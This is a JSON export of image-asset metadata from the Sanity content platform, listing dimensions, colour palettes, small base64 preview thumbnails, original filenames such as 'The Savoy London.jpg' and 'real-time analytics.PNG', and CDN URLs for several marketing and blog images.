{"_createdAt":"2024-06-25T13:15:31Z","_id":"image-09a7b72fc0a97351ce1ad972f9a205cb7ee50281-1442x929-png","_rev":"oOylPWK65J0ej1lvdY51Bv","_type":"sanity.imageAsset","_updatedAt":"2024-06-25T13:15:31Z","assetId":"09a7b72fc0a97351ce1ad972f9a205cb7ee50281","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VKBynD=VVYnhNG57bbxtn%s:9vEgOEbbs:~Br=IUR+Nb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5522066738428417,"height":929,"width":1442},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAACToAAAk6AGCYwUcAAADHUlEQVQ4jX3S708bBRzH8f4L25RK71ror+u1d73S9q60KIsT54xZokym4gKMHyIta/nZa0t7B4wCFbaMTJdlKKDgXDbJjNMQFhd9YnygD/2D3ga2+Aj9B175fj+fj+OUq49TrgFOC0O8JI7Q7M0RjM6g6hVUvYrWbhPLLNLWsUTi1RWSrzXQ0g382hJueRG3vIQ7vII70sAdWcNxRhzgZc8QZ8Th56Avh1+dJpIoE05UCCeqhBMWYX0exbiOmlomnFzGq14/GRR8Q2jRMVQlS0vwCJtCS1VIdFhoqRo+tYQoFRElE3eogkeu4ZFtxNA8YugEMBAcpO/sMLl3Jjh3toTWXsbotEi/vkg8Y+NVTJy+aZq8M7ziM2n2V3AFawjSf4CaMkylq5ev+sYYfb+GZpSOMwzHS8htZXxKCXeoiCCZuAJlXIG5/wfb9Rx212V+7O+jMThHe7uJs3UcMTiBFCsRTdlo6QVCcQuPPIcQnEOQrOOXT8wwkxrHeqOHpwMf8XiqzOB7FkrbLAF1FilWJqLXUAybYKyGV6niU2382iKBWJ1gbBlfdAVP5DnoOQJTepbquR6e9ffwZ3mC3WKd4qe3uNJ7kzffqpNI20SSFuGkfdyyYtQJ60dNryInG8egKK8ghl9cGFVGKHV28+xKN3+Xs/y1tsLvW3scbu+zvbbHUmWLsrnDbPEbxvM79A9t0tN7l4uX7nD+4hd0nr9NsnODUPImLeo6Dr9/gNHMB3z74cccFvIcLNT57d7X/HH/e37dechP2/scPDrg8IdfePLoKQ93D9jZ/Jk7t5/w2epjbHufwuQD3u7+Eil5C4fgvUqX/gkjF66Rv1Rk7LJNYXgd89rnTI5ukB3ZoJC/S8ncwqrtMm/dZ95+QLX6HTMzexQm9hgZ2+XCu5vIxgaOJs9VApEscWMaPWMSTc4SM0roHTWURAVfpIg3YiLFqqjGArF0nXjHKm2ZBqqxiqI3UIx1pMQNWqM3cJwW+nG2DNMSyiFpU7TKBYRAHrc0iRCYxOmdpMk7jdM3S7O/9GKH1vEOBWkBIbSEKC//W8o/arIBhshPGlEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454b81","foreground":"#fff","population":1.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041766","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbbace","foreground":"#000","population":7.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbbace","foreground":"#000","population":7.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#db7d6c","foreground":"#000","population":3.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525d96","foreground":"#fff","population":0.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c74028","foreground":"#fff","population":2.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"time critical decisions.PNG","path":"images/sczeoy4w/production/09a7b72fc0a97351ce1ad972f9a205cb7ee50281-1442x929.png","sha1hash":"09a7b72fc0a97351ce1ad972f9a205cb7ee50281","size":155957,"uploadId":"9P52Pz9V73QY2zXJkjgTPmIs17JUkaXq","url":"https://cdn.sanity.io/images/sczeoy4w/production/09a7b72fc0a97351ce1ad972f9a205cb7ee50281-1442x929.png"} {"_createdAt":"2024-06-25T13:17:50Z","_id":"image-3649d4baf5e3aa7eeec9a7e00ab44bcc9b19e854-1445x925-png","_rev":"m4mXZHpK6l56U588DBD3qP","_type":"sanity.imageAsset","_updatedAt":"2024-06-25T13:17:50Z","assetId":"3649d4baf5e3aa7eeec9a7e00ab44bcc9b19e854","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VKBynD=VVYnhNG57bbxtn%s:9]EgOEbbs:~Br=IVR+Nb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5621621621621622,"height":925,"width":1445},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAACToAAAk6AGCYwUcAAADIklEQVQ4jX3T629TBRjH8f4LkMFce9ptp6en57Snp/fLFqYMNCpq4pApYVlb191HV5ltT9v1OrqWXRBQQgBxjDEQREO4GbMZX/jGN7zzD/qaTWOMQf+BT37P8/we0wHzKAfMCQ5axugQxukSZ5H1LJ5wCU+kjK+vhr9/icCRJqGBNuHXV/H1ryDpTaxKA6tyHqvawuq6gNW1iqnDmuRwd4oOa4oOYWIftGsLqH4D1V9E8ZdQAmXUYBVXqIE73EQJNunVll4NCuIYAe80Ps8svc45JO0ceqRIoL+CJ1xGdBtYHFksch5BLmJ1lrEqVQRnDcH5CtDh+JTEGynmP8jw1mABX6xIZKBK39EGgf4aojtPp7hAp5jlNbtBl1TE7Chjkf8D9GrjFN88w0Z8mtnhMt5wHklbQPHlcfoKiJqBTckjOA3MUgGzVPp/MBqaoXp8mKeJUdZTJfr68nT2zCE4Msi6gSdSRY/Vcfor2JQSFkcJQa7sj7y/Q/VfYF9kjsqxYXYSp3m6YDD5URVvMIes53F6C7iCZVyhKpJepse1iKhVsesNJG8Th3cZ0dPC5toDV7DtgZHgDIuDp/h59BQvixm+LSxTSV8hlbjMiffaRAfq6NEaWqSON9ZEj7XQIi1coTZq8AJ2vb2fUFD/SqipY+SODLE7MsTvhWlerrX4bXObX7Z+4P6le6zVN2lUt6hU7pHL32VqdoORxE1Onr7OiaFrHHv3KtHBL1HDX9CtrWES7QnGY5+w+fEIz9NpnlSa7Fzb4Neth+x+84Antx7x/OELfnq8y7NHO3x390fu3HrB9avPWFt5TKP+PZmFB7wz9DVy4BImS2+So6FJ4m/PM/mhQfJkhan4KpmpK0wnL5IcvcjExFek52+Sy97GMLYwjG2yuW3Opu8wNbNJfOw2x9+/gTN0GdMhWxJRnUEPnsMfzePyf447mMcXXUTxGnQrWWxKDlHb+5oa7tASWmQZLdJGDbRQAm2UwCqSb50ezzqmg5Y4h2xjCNIMdncGm5ymSzyLRcrQZc/Q2fsZh3v/Wew/e2iWa1jkBoLzPIKy/PdR/gCqZQGBa272OgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434b85","foreground":"#fff","population":1.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041769","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccbacd","foreground":"#000","population":7.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbacd","foreground":"#000","population":7.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d97d6d","foreground":"#000","population":3.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525d96","foreground":"#fff","population":0.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c83f29","foreground":"#fff","population":2.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"time critical decisions.PNG","path":"images/sczeoy4w/production/3649d4baf5e3aa7eeec9a7e00ab44bcc9b19e854-1445x925.png","sha1hash":"3649d4baf5e3aa7eeec9a7e00ab44bcc9b19e854","size":156917,"uploadId":"JTGJznLFWVJWgCcYl0CaYvGTgiQzBfEK","url":"https://cdn.sanity.io/images/sczeoy4w/production/3649d4baf5e3aa7eeec9a7e00ab44bcc9b19e854-1445x925.png"} {"_createdAt":"2024-06-25T13:43:48Z","_id":"image-71f0de0ac0dd0b6d6fc2acd8732b90095c0618de-1920x1080-png","_rev":"oOylPWK65J0ej1lvdY7osB","_type":"sanity.imageAsset","_updatedAt":"2024-06-25T13:43:48Z","assetId":"71f0de0ac0dd0b6d6fc2acd8732b90095c0618de","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M16teN[v003C@=@a-4GsA1N43WxT{dI{1j","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB8klEQVQokY3SbU/aYBTGcb8ARV1omSAPpTyuQAtoGEWBbbotUxcqk1IEpxFb6wQfZpa5F/vo/0WcmYmb7sXJ9er+5Zz7nBlBNBHENr6AybzUppo2cRs9JmsHDOsOG5UTVtQJeeWCeOyKRPY7Kf2acG6MP9zHd/d+miYz98E5qU0p2WG3NuCg6bBd9Xive6ypLqsZl0LqFDn3lUjhEil7jBC2b6HAA9C8BcU2L+Qdtir7dKoeH0sOW+oe75I2DbnHam6IpnlES2eIqos/0nsMbDMrmiSjXVr5EZulYzZyexiLFjnRQpEs6ulPNJcGZKoekubgjz4B+kWTSKhHJe2yrrq8VWwKkkVMtEmEuyxnTN4sddBqhwT1I4RHQbGNEDCRgjap2AlL6TGvsvu0sn1WVZumbvF6eYeW0UetO0+AgT/gfKDPQugLcfmCbPaUYtFFqzgUq0fkayMyhkv05QmB4gghYv0dvFnI3aZnxQGh2IR47huyOiGVPyRZPiJeOyW+cobcOJ9msOT8u0PfPfBZaEiyeIXe+IlunFMp71Ku7VNcv0T7cE1588c0ZWPMXPz3HT7a4XObcMZDqZyjlI9RCgMS+mfkqodijEnWJySMMQvaCP//jOwTO/iCFkKoh7DYm/7TXd2cyU1NRw138QW3H4C/AMxPYyaWeC9yAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603757","foreground":"#fff","population":3.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#060d64","foreground":"#fff","population":3.87,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#060d64","foreground":"#fff","population":3.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9994c6","foreground":"#000","population":0.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f78e53","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b6897","foreground":"#fff","population":0.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee6224","foreground":"#fff","population":1.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DataRevolution.png","path":"images/sczeoy4w/production/71f0de0ac0dd0b6d6fc2acd8732b90095c0618de-1920x1080.png","sha1hash":"71f0de0ac0dd0b6d6fc2acd8732b90095c0618de","size":271553,"uploadId":"9QujZPMTAbHKQaSDZSKxU3US9AEWE3z7","url":"https://cdn.sanity.io/images/sczeoy4w/production/71f0de0ac0dd0b6d6fc2acd8732b90095c0618de-1920x1080.png"} {"_createdAt":"2024-09-11T08:20:10Z","_id":"image-a91a1ec1aa809fedb25a7a47fb5e25c8ec194f2a-1079x787-jpg","_rev":"ezMiwuUkJkbYMWycANAb8g","_type":"sanity.imageAsset","_updatedAt":"2024-09-11T08:20:10Z","assetId":"a91a1ec1aa809fedb25a7a47fb5e25c8ec194f2a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VPLqUy~qD%-:bI_3x^t7bbtS.9flRPIoWBtR%MRPMxof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3710292249047014,"height":787,"width":1079},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAQf/xAAkEAABAwQBAwUAAAAAAAAAAAACAQMEAAUGERITFHEhIlFhgf/EABcBAAMBAAAAAAAAAAAAAAAAAAECAwT/xAAZEQADAQEBAAAAAAAAAAAAAAAAAQIRIVH/2gAMAwEAAhEDEQA/AOv5XlkiyupPhw1lmYo3xFd+v5Su6zQuqK/JkybfIeZFSBo9KHml9vKZMkqw+AIwgqLfSLiqL81kyJCuMh2A/KcF5sePMRXZJ9rWZOqXSuTLwipMq9Rn3GrfkQvR0X2kZJvxRUbfcR7W6PtMTXOnvabVaKfEDvh//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#694937","foreground":"#fff","population":1.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#46330d","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9c5b5","foreground":"#000","population":6.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9c5b5","foreground":"#000","population":6.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eac996","foreground":"#000","population":0.47,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f8b6f","foreground":"#fff","population":2.4,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c78425","foreground":"#fff","population":1.63,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"The Savoy London.jpg","path":"images/sczeoy4w/production/a91a1ec1aa809fedb25a7a47fb5e25c8ec194f2a-1079x787.jpg","sha1hash":"a91a1ec1aa809fedb25a7a47fb5e25c8ec194f2a","size":242206,"uploadId":"RD70zoN79OpBj9PDdNU5GnDLn53PNYVc","url":"https://cdn.sanity.io/images/sczeoy4w/production/a91a1ec1aa809fedb25a7a47fb5e25c8ec194f2a-1079x787.jpg"} {"_createdAt":"2024-10-02T09:11:24Z","_id":"image-c0af0446c4570c547cf95e53928179ba840a4972-3024x4032-jpg","_rev":"8q08tYxGNL2qfrtMKYbESz","_type":"sanity.imageAsset","_updatedAt":"2024-10-02T09:11:24Z","assetId":"c0af0446c4570c547cf95e53928179ba840a4972","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dKGuBmxvD*t7NI%1R+WBrBV@%LRk~Vt7smof^%xaM|s.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.75,"height":4032,"width":3024},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQDBQYH/8QAJRAAAQMDAwQDAQAAAAAAAAAAAQIDBAAFEQYSIQcxUWEiM0Fy/8QAFgEBAQEAAAAAAAAAAAAAAAAABAIF/8QAHREAAgICAwEAAAAAAAAAAAAAAQIAEQMEFCFBBf/aAAwDAQACEQMRAD8ArY3URtSihLEvIGVAt0hM1uEvurMaWUlIxhr890sdN6iav4WxEWm0FfBU4N5T4zWy1bo1kgvx5MiNEW19alfInHNDfEi9xK5Waczk9RopeVsYkEfzRWVubcZic81DecDCVYG5HJoqhrpI5DTsaddyVNpbVbo21PYZPFXDOq334yFOw2Fkdsk8VXptkMNEiOjOfdNtwYwaVhocDyayz9BD5NDhsPZA3abBdd0u4QGEvrUchJwKKmRFZCcBsYoob7NsaJAiV1+hdT//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#534739","foreground":"#fff","population":7.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76561e","foreground":"#fff","population":0.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dfd9c9","foreground":"#000","population":8.12,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dfd9c9","foreground":"#000","population":8.12,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#70d9e2","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e8163","foreground":"#fff","population":4.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c550","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"No flowers 1.jpg","path":"images/sczeoy4w/production/c0af0446c4570c547cf95e53928179ba840a4972-3024x4032.jpg","sha1hash":"c0af0446c4570c547cf95e53928179ba840a4972","size":7641500,"uploadId":"OAED8XkF2DdcAwHCM1Kz3tcIliYXfX0d","url":"https://cdn.sanity.io/images/sczeoy4w/production/c0af0446c4570c547cf95e53928179ba840a4972-3024x4032.jpg"} {"_createdAt":"2024-06-26T18:54:05Z","_id":"image-06f4f1bdf73e8e41fe1c65c5563edfa5a97b74ca-1485x964-png","_rev":"m4mXZHpK6l56U588DCcUA1","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T18:54:05Z","assetId":"06f4f1bdf73e8e41fe1c65c5563edfa5a97b74ca","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V36krq4T9Y?w9Y?JS0ImxcNdITW9Dh-?xuK8Mws.%Nwv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5404564315352698,"height":964,"width":1485},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAACToAAAk6AGCYwUcAAADCUlEQVQ4jX3Tb28aBQDHcd6CW1daKNwdx8HdcccBBQp0FOlstnY1bnUpWYyZuvqHlVL+VBDW0rJulGGBtnN/iNFEzZ75wJi9A1/Y1wiLD4z6Bj75Pfh9be847nHJ+SmXnfeZmvucKdeXXHHnmRa2sYs72KUS01IZt/aQzNr33N16w+qHr7GSfQKxLka8hxLq4tY7uLQutjHo+BdQLDAj7TLrKWP3VJCMA9Zzr9mp/8HmJ78RWhyiRbsEYhNQ0E9w6V1sl5z3uOz8jKm5LaZcE9Ap72BEGlixfXzBJh6jgT9yxNLqiFsf/cqNjZ9JX7sgvjQglOoTiJ+ihL9FNHvYZqQtXEoet6+A07vNFeErfEaVjfdP2bw1JJE+xkq2CSaP0aNP8Ec6pDIDPs6NyN0ZkV55Rjx7QWjxHH90gM0TKKCGK+iRPbxmGYdcQAlUWV05Yf36U6KpI8yFQ4yFNl6rhUvdJ7zQYfP2c3J3XrG89pzUe98RSV+gL5xNQL9VQgtXUYIV3P5dBH8Z1foGPdxEDTfxhR7itfaRzRZioIUafsz8Yo/F5SGpa+fEMmeYiSFabIhN0rdRzCL+YBnFrCBqJQS1jMf4Gq9Z/xuUg/vIwRYe8xAldIx/vsN8Zkh67RWx7DO0WB81OgYLeI0ivmBpvFD4C9QqeM0ailnHZzVQrCZK6AAldIjHOESxjlGjJ2Rv/0Cu8DvZjZ/QYoMJKKgPkANFFLOEHCjj8hVx+0vIZg3ZqOEx6shmE8U6GC8U9QNks40632F540fu7r5hZfMXjMTZBJwW7jMrfYHDk2fWk8cu5nHIO4jaHpJeQ9TrSEYDX7iFGm2jhNqo0Q5Gokf03XOWbo5IrLwcg0qk//bY/yhlWniAQ95lTqkwp1RxqTWMRJura31S1wdcvfmC5I0X6PEe/kgXPXaKL3KKaPT+pxShgF0sMiOVcCh7aPEj0ut9MuvnZD8YjUFfpItkPEEOniAa3Ukp/w2+bVksMSNXEfQGWrSNlTzBSj0dH1zQH+FSH+HWHuPSOmPwT31n3C9t05tAAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4983","foreground":"#fff","population":0.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042484","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2986","foreground":"#fff","population":12.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#263c72","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#849bd5","foreground":"#000","population":1.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#626aa6","foreground":"#fff","population":2.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2986","foreground":"#fff","population":12.9,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-driven recommendations.PNG","path":"images/sczeoy4w/production/06f4f1bdf73e8e41fe1c65c5563edfa5a97b74ca-1485x964.png","sha1hash":"06f4f1bdf73e8e41fe1c65c5563edfa5a97b74ca","size":205536,"uploadId":"8AUUFQJFPMSmLMvIRYjnYZSWtNM6mtkF","url":"https://cdn.sanity.io/images/sczeoy4w/production/06f4f1bdf73e8e41fe1c65c5563edfa5a97b74ca-1485x964.png"} {"_createdAt":"2024-06-26T19:19:28Z","_id":"image-3addc9aeeb28ab92c195c06e18614f6f910c3511-1452x976-png","_rev":"oOylPWK65J0ej1lvdcCbLD","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T19:19:28Z","assetId":"3addc9aeeb28ab92c195c06e18614f6f910c3511","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V36krp4TD%?d9Y?0S0ImxcNHITW9Dh.9t6K7R4xtxvwb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4877049180327868,"height":976,"width":1452},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAACToAAAk6AGCYwUcAAAC+ElEQVQ4jX3T21JaBxTGcV6hiVUUgb3ZHPaZo4AQiJJinY41js2kdjqttY2TKCKHRCViRY2iiEqFMBmbPkAnvWgu2pve9NH+HcDeNb1Yt7/5vllrWT4aW+aObYW7th8YGl9lyP6Ujx1rDDtzjAh5RsQCw2IJm3eHWKbDN0//5MuV98SmO2jRM7RoAznUQNBPsSunWPrg2HcfADexikVGxBJ2uUJ69obVwt8sr/9FIvsGdaIHnuP7F1RPsdyxLXPXtsLQ+BOG7ANwVMwhG1uY4So+/y6S8RJPYJ9Yps380jvmHv9K6pMusdQloeQVRvwSOXyBFGhiGXWtYveu4fRtMO7JMex8higXmZtt8PXiNelMnWDyiEDiFXrsBCVSJzh5zhcPuywvvSX7WZd4pkPkfhsjcY3FpW0gB0qooRd4jDJj0gaiUuLTbJ3FuQvi947QJvbRJmr4gjUcyh4+/yEP59p8u3RzC7b7YDDVwSLpebxmASVYxmuWsXs3cfiKqMEKRriKGqriDeziMnaRzB8RtX3c5iHh5DnJzBXx6RaRVAt/ooXZS9gD3Xoen7/UBwWlhFMu4dK3cBs7fVAO7d2C+0hGDbd5hBypE7h3QWq2S3KmiznZQov9NAAlLY/HKOA1nyOqJZxKGbexjVvfxmNW8PQWY1bxBmtIZm8OkUMnxLOvebz+Owvf/0Yw3UGNtrAISg5XHyzi1ks4fIV+ZUnfwqX1ZhuXXkEyqngCtX5lUT/AEzgmNtPlq+IfPFp7T3iqO0hoFZ9gk54x7lnH5s5hFdYZk/IISi/tFoK6jaBVkMy9QcJeZX+v8in+5CX3598yNf8LwVR7kPC/7nDY2cML2L1l7L4XOOQdlOgBkzNNog+axLLXxGdeo8ebqBON/h2q0avBHX7oU0aEDaziJlZXkVH3c9TYAdMLLTILHR4s/kz68xvU2Dku4wRP4AzJ38Chnd2C//fLQgGrq4ygv8SYfEU4fUZk6gIz0UQyj3EoRzjVYxxqvf/L/wC9391FNaXxsgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#554877","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13246f","foreground":"#fff","population":10.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#13246f","foreground":"#fff","population":10.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a29ba9","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ba6e5","foreground":"#000","population":3.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f69a6","foreground":"#fff","population":3.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3046c0","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-driven recommendations.PNG","path":"images/sczeoy4w/production/3addc9aeeb28ab92c195c06e18614f6f910c3511-1452x976.png","sha1hash":"3addc9aeeb28ab92c195c06e18614f6f910c3511","size":203569,"uploadId":"3niBRXdGipl26Fq1PYKUZRBcLZUuVdm7","url":"https://cdn.sanity.io/images/sczeoy4w/production/3addc9aeeb28ab92c195c06e18614f6f910c3511-1452x976.png"} {"_createdAt":"2024-06-26T20:06:45Z","_id":"image-25c8e2544c2d76dbec82c6b54c746762dc3d2273-1471x587-png","_rev":"m4mXZHpK6l56U588DCfBNF","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T20:06:45Z","assetId":"25c8e2544c2d76dbec82c6b54c746762dc3d2273","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D37-dj,6N8~7}+-Tn+R=xBxA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5059625212947187,"height":587,"width":1471},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAACToAAAk6AGCYwUcAAACAklEQVQokSXQW0/acACGcT7DLuYFWxREem5pS//QFrUb7pAtbllmMrNDskxvTDxNEGrrAYciKqKg3/fZZF/gl/d9Mk+yP3k6vU5e3UZzm2huizmjSbaww9TMNlO5XZ4V95GdY8xql2Kpw3PpkGzxiLzRxfQHuPN36JUhM8YlmdnCBq66Q1Bu4YoYrRwj2zF5vcVzqUm22CSnx9hBShAdYYgOOb3DtHqK5Fxg124pR2OscETRHZKpmA2+VFJWFw4JqzGq00JxYmTngLlSQk5PkO0Wnz9tsLW2Rv1Vk4J1ymzpHMMfIF6M8JcecKMHtOqYTFBLWVnu83G5h6glk8ua20YtJ6jeMZLbQffa/Pq+Trfxg+X3u0huF0VcYYU3VF+OqL1+wIvu0fwxGVE/4c3qkMWVa+zoGKtygFVJ0L0UvdJB988wqie8+5Dy7WvK4lIHw7/ECG8wwyHe4h1B/R53YYxaGZFRnAZhkOCJNpK1h+LsTxY+dpTdIxRxilH9Q1DvE70dIKKrCaj51+j+ALv2Hy2FIxRxRyYvbxIovxHFHWalLRSnhSESJDumYCUUrBTVO8GdP0dEfZxaH8XrMef0UMUVzvwQEY0moPwI5pRNDGMPXW9QMBpIzmO/lKKdkNPazGgxcrmDGZxhhReYQR+53CNvdpHKl1jhLfbCCDMcI/+7/BfctC71QltBDAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414787","foreground":"#fff","population":2.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041d67","foreground":"#fff","population":0.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bab4c9","foreground":"#000","population":7.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bab4c9","foreground":"#000","population":7.83,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#819ad9","foreground":"#000","population":1.89,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a69a1","foreground":"#fff","population":2.97,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b93387","foreground":"#fff","population":0.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"real-time analytics.PNG","path":"images/sczeoy4w/production/25c8e2544c2d76dbec82c6b54c746762dc3d2273-1471x587.png","sha1hash":"25c8e2544c2d76dbec82c6b54c746762dc3d2273","size":147048,"uploadId":"L5UZho9bWhfBhqEe07aHS92xLkPi1jGe","url":"https://cdn.sanity.io/images/sczeoy4w/production/25c8e2544c2d76dbec82c6b54c746762dc3d2273-1471x587.png"} 